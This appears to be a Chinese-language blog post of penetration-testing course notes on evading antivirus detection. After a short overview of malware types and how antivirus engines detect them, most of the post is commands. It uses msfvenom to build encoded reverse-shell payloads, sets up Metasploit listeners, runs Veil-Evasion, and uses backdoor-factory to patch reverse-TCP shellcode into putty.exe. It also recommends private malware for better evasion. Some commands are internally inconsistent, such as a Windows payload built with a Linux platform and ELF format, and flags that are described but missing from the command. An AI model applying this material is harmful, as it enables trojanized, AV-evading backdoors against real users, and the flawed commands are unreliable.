Kali Linux渗透测试——免杀基础

笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

文章目录

    • 一、基础概念
      • (一)恶意软件
      • (二)防护手段
      • (三)免杀技术
    • 二、工具介绍
      • (一)Msfvenom
      • (二)Veil-evasion
      • (三)Backdoor-factory

一、基础概念

(一)恶意软件

在用户非自愿情况下执行安装,具有控制、窃取、勒索、攻击等恶意功能的软件,基本分类如下:

  • 病毒:独立存在或者插入在计算机程序中的恶意代码,可通过隐蔽复制进行传播
  • 蠕虫:可以通过网络进行传播病毒
  • 木马:通过伪装诱使用户运行程序,达到远程控制、破坏系统等目的,一般不会通过复制传播,不会感染其他文件RAT(Remote Access Trojan)即远程访问木马
  • 键盘记录:自动记录键盘键入内容
  • 僵尸程序:利用感染主机作为僵尸机,在未授权情况下对第三方发起攻击或完成恶意操作
  • 流氓软件:跟踪上网行为,完成广告弹窗、浏览器劫持、泄漏隐私信息等非授权操作
  • 勒索软件:限制系统文件资源访问,直至向攻击者做出妥协
  • 广告程序:插入未经授权的广告,赚取黑色利润

随着技术发展其分类边界愈加模糊,恶意软件常具备以上多种特点。常见RAT软件包括:灰鸽子、波尔、黑暗彗星、潘多拉、NanoCore等。

(二)防护手段

恶意软件最主要的防护手段包括杀毒/防毒软件、防火墙、IPS、IDS等产品,这些产品都具有AV(Anti-Virus)功能,其检测原理大致分为两类:

  • 基于二进制文件中特征字符的黑名单检测方法,包括检测恶意软件本身的特征字符,以及加密工具的特征字符
  • 基于行为特征的分析方法,尚需完善,存在误杀漏杀情况

(三)免杀技术

攻击者可以通过转换恶意软件的方法绕过安全防护机制,基本方法如下:

  • 绕过二进制文件的特征字符检测:在已有代码基础上替换、擦除、篡改,或者编写新的恶意代码
  • 加密:使得二进制文件的特征字符不可读,可以在运行时分片分段解密执行,注入进程或AV不检查的白名单文件中
  • 内存运行:将恶意代码置于内存运行,以绕过一些基于文件系统进行检测的AV程序

注意:由于AV不仅检查恶意软件本身的特征字符,还会检查加密工具的特征字符,所以恶意软件在经过一些 知名加密工具 加密后,可能导致被AV检测出的可能性会更大。编写私有恶意软件,或使用独有加密工具可以实现更好的免杀功能。

单一AV厂商的病毒库很难达到100%全覆盖,一些网站集成多种AV检测引擎,提供更好的病毒检测功能,甚至某些AV软件没有自己的病毒库,直接调用这些网站提供的接口:

  • 与AV厂商共享检测信息:https://www.virustotal.com/,http://www.virscan.org/
  • 不与AV厂商共享检测信息:http://nodistribute.com/,http://viruscheckmate.com/check/

二、工具介绍

(一)Msfvenom

基于Metasploit的木马脚本生成工具,基本使用方法如下:

# 首先生成木马脚本
msfvenom --platform linux -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.11.129 LPORT=4444 -b "0" -e x86/shikata -i 9 -f elf -o file.bin
# -p:选择payload
# -e:编码方式
# -b:去掉坏字符
# -i:迭代编码次数
# -f:生成文件格式
# -o:生成文件名称
# LHOST、LPORT:payload运行后要回连的主机和端口,也是本机要侦听的端口

# 然后运行msfconsole,在本机开启侦听端口
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp 
set LHOST 10.10.11.129
set LPORT 4444
run

# 最后上传木马脚本并在靶机运行,取得回连shell,获取控制权

可以在已有模板插入恶意代码,不破坏原程序的功能和使用,每次运行都被重新激活运行:

msfvenom -a x64 --platform windows -p windows/shell/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\x00" -f exe -o 1.exe
# -x和-k参数一般同时使用
# -x:表示与现有软件绑定在一起
# -k:表示在现有程序基础上另开一个线程运行,这样才不会覆盖原程序

注意:类似Msfvenom这种知名木马脚本生成工具,其处理文件的特征字符串已被绝大多数AV软件收录,所以查杀率很高,实际应用中免杀效果并不理想。

(二)Veil-evasion

1.基本介绍

属于Veil-framework框架的一部分,由Python语言编写,用于将已有payload做加密、编码等变换,从而实现免杀,具有以下特点:

  • 集成msf payload,常配合Metasploit使用
  • 集成多种进程注入技术
  • 集成多种第三方工具如:Hypersion、PEScrambler、BackDoor Factory等
  • 集成多种开发打包运行环境如:Python、C#、C等

2.使用方法

通过veil-evasion命令运行,根据菜单向导配置payload,然后generate生成payload,如下图所示:

Kali Linux渗透测试——免杀基础_第1张图片

图1 Veil-Evasion运行界面

默认生成的payload保存在/var/lib/veil-evasion/output/compiled/目录下,配合其使用的服务端命令以rc脚本文件的形式保存在/var/lib/veil-evasion/output/handlers/目录中,用于结合Metasploit使用,可以通过msfconsole -r payload.rc命令调用脚本文件。

(三)Backdoor-factory

1.基本介绍

由python语言开发的后门工具,适用于制作或绑定Windows PE和Linux ELF木马脚本文件。BDF可将shellcode代码patch进模板程序,躲避AV查杀,可以不破坏模板程序的功能和使用,每次运行文件shellcode都被重新激活运行,类似Metasploit,但存在一定区别如下:

  • Metasploit:在原有二进制文件的基础上,增加完整shellcode片段,跳转执行。
  • BDF:将shellcode划分不同大小代码块,放置于模板文件的代码缝隙中,shellcode在不同的代码缝隙跳转执行。代码缝隙指二进制文件中超过两个字节的连续0x00区域(代码片段间区域),代码缝隙是由编译器形成的,不同编译器对同一源文件编译的结果不同。

注意:存在一定概率文件会被patch坏掉,某些受保护的二进制程序也无法进行patch。

2.使用方法

模板文件以putty.exe为例,注意这里有个坑,用在kali中用apt install下载的backdoor-factory不能识别可执行文件,提示putty.exe not a PE File,我们需要在GitHub自行下载,并安装capstone包:

git clone https://github.com/secretsquirrel/the-backdoor-factory.git
cd the-backdoor-factory
./install.py
pip3 install capstone

./backdoor.py -f ~/Desktop/putty.exe -S
# 检查putty.exe是否支持代码注入

./backdoor.py -f ~/Desktop/putty.exe -s show
# 显示可插入putty.exe的payload

./backdoor.py -f ~/Desktop/putty.exe -c 
# 查看putty.exe的代码缝隙

将payload作为整个section添加到文件末尾成功率高,但是免杀效果差;将payload划分为多个section添加到文件代码缝隙中成功率低,但是免杀效果好。

./backdoor.py -f ~/Desktop/putty.exe -s reverse_tcp_stager_threaded -H 10.10.11.129 -P 4444
# 默认命令将payload作为整个section插入到文件一个代码缝隙中

./backdoor.py -f ~/Desktop/putty.exe -s reverse_tcp_stager_threaded -H 10.10.11.129 -P 4444 -J
# -J:将payload划分为多个section添加到文件代码缝隙中

./backdoor.py -f ~/Desktop/putty.exe -s reverse_tcp_stager_threaded -H 10.10.11.129 -P 4444 -a 
# -a:将payload作为整个section添加到文件末尾

payload插入后将putty.exe保存在backdoored目录下,将其上传至目标靶机,结合Metasploit使用:

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
# 注意payload要选择x64平台meterpreter,否则可能运行失败
set LHOST 10.10.11.129
set LPORT 4444
run -j

最后在靶机中运行putty.exe,取得shell控制权。将运用-a参数生成的putty.exe传到VirSCAN检测,效果还是可以的,检测结果如下图所示:
Kali Linux渗透测试——免杀基础_第2张图片

图2 VirSCAN检测结果

你可能感兴趣的:(Kali,Linux渗透测试,信息安全)